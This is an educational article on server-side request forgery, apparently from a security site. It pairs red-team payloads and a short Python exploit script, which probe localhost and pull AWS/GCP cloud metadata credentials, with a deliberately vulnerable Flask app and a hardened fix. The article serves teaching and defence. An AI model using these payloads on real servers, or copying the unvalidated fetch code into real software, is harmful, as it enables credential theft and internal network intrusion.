Understanding SSRF (Server-Side Request Forgery) Attacks
Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to trick a server into making HTTP requests to unintended locations.
Unlike traditional vulnerabilities, SSRF abuses the trust a server has in its own environment, internal network, or external services. This can lead to data exfiltration, internal service discovery, cloud metadata access, or even remote code execution.
How SSRF Works?
Many web applications allow users to supply a URL that the server fetches. For example:
- Image upload where the server downloads an image from a given URL
- Webhooks that fetch external data
- PDF converters or preview generators
If the application doesn't properly validate the supplied URL, an attacker can manipulate it to force the server into sending requests to arbitrary endpoints.
Red Team Perspective: Exploiting SSRF
Here's a typical red team workflow for exploiting SSRF:
1. Identify User Input that Triggers Server Requests
Example: An image fetch API:
POST /fetch
Content-Type: application/json
{
"url": "http://example.com/image.png"
}
2. Test with a Controlled URL
Supply your own server’s endpoint:
{
"url": "http://attacker.com/test"
}
If the server makes a request, you've confirmed SSRF.
3. Probe the Internal Network
Try accessing internal services:
{
"url": "http://127.0.0.1:22"
}
If it responds differently, the SSRF allows scanning the internal network.
4. Exploit Cloud Metadata Services
On AWS:
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
This may return IAM credentials.
On GCP:
{
"url": "http://metadata.google.internal/computeMetadata/v1/instance/"
}
5. Advanced Payloads
Sometimes, URL parsers can be tricked:
{
"url": "http://localhost:80@attacker.com/"
}
Here, the server may interpret it as localhost
.
Blue Team Perspective: Defending Against SSRF
Action | Description |
---|---|
Input Validation & Allowlisting | - Only allow requests to trusted domains or specific URLs. - Reject any user-supplied schemes other than https . |
Network Segmentation | - Block the server from accessing internal networks unless required. - Use firewall rules to restrict outbound connections. |
Metadata Protection | - Disable direct access to cloud metadata endpoints when possible. -Use instance metadata service v2 (IMDSv2) in AWS. |
Use SSRF Mitigations in Frameworks | - Many modern frameworks and proxies provide SSRF protection (e.g., OpenRewrite filters, custom validators). |
Monitoring & Detection | - Log all outbound requests from web servers. - Alert on suspicious requests to internal or unexpected IP ranges. |
SSRF Practical Demo: Vulnerable App + Exploit
This section provides a hands-on demo for understanding SSRF.
We'll create a vulnerable Flask application and then write a Python exploit script to abuse it.
Vulnerable Flask Application (for Testing Only!)
The following code represents a deliberately vulnerable app.
⚠️ Do not deploy this in production environments! Use only in controlled labs.
# vulnerable_app.py
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
@app.route("/fetch", methods=["POST"])
def fetch_url():
data = request.get_json()
url = data.get("url")
try:
# VULNERABLE: No validation of user-supplied URL
resp = requests.get(url, timeout=3)
return jsonify({
"status": "success",
"content": resp.text[:200] # returning partial response for demo
})
except Exception as e:
return jsonify({"status": "error", "error": str(e)}), 500
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
Run it:
python3 vulnerable_app.py
The app listens on port 5000
and exposes /fetch
.
Exploiting the Vulnerable App
Now let's exploit it step by step.
1. Send a benign request
# exploit.py
import requests
target = "http://127.0.0.1:5000/fetch"
# benign test
r = requests.post(target, json={"url": "http://example.com"})
print("Benign request:\n", r.json())
This confirms that the server is fetching external resources.
2. Access localhost services
# Try hitting internal services
r = requests.post(target, json={"url": "http://127.0.0.1:22"})
print("Internal service probe:\n", r.json())
If you see an error message like "connection refused"
, it means the server tried to connect.
3. Extract cloud metadata
For AWS:
r = requests.post(target, json={"url": "http://169.254.169.254/latest/meta-data/"})
print("Metadata response:\n", r.json())
For GCP:
r = requests.post(target, json={
"url": "http://metadata.google.internal/computeMetadata/v1/instance/"
}, headers={"Metadata-Flavor": "Google"})
print("GCP metadata response:\n", r.json())
Blue Team Fix: Secure Version
Here's a hardened version of the Flask app:
# secure_app.py
from flask import Flask, request, jsonify
import requests
from urllib.parse import urlparse
app = Flask(__name__)
ALLOWED_DOMAINS = ["example.com", "trusted-api.com"]
def is_safe_url(url):
try:
parsed = urlparse(url)
if parsed.scheme not in ["http", "https"]:
return False
domain = parsed.hostname
return domain in ALLOWED_DOMAINS
except:
return False
@app.route("/fetch", methods=["POST"])
def fetch_url():
data = request.get_json()
url = data.get("url")
if not is_safe_url(url):
return jsonify({"status": "error", "error": "Invalid or blocked URL"}), 400
try:
resp = requests.get(url, timeout=3)
return jsonify({
"status": "success",
"content": resp.text[:200]
})
except Exception as e:
return jsonify({"status": "error", "error": str(e)}), 500
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
This version:
- Only allows
http
/https
schemes - Restricts requests to trusted domains
- Rejects anything else
Conclusion
This article shows:
- How easy it is to introduce SSRF with naive code
- How an attacker can escalate from external fetches → internal probes → cloud metadata theft
- How defensive coding can prevent exploitation
SSRF is a critical vulnerability that often leads to internal network compromise and cloud environment exposure. By following the red team process, security testers can identify risks, while blue team best practices significantly reduce the attack surface.
SSRF is a reminder that servers should never blindly trust user-supplied input when making requests.
***
Note on Content Creation: This article was developed with the assistance of generative AI like Gemini or ChatGPT. While all public AI strives for accuracy and comprehensive coverage, all content is reviewed and edited by human experts at IsoSecu to ensure factual correctness, relevance, and adherence to our editorial standards.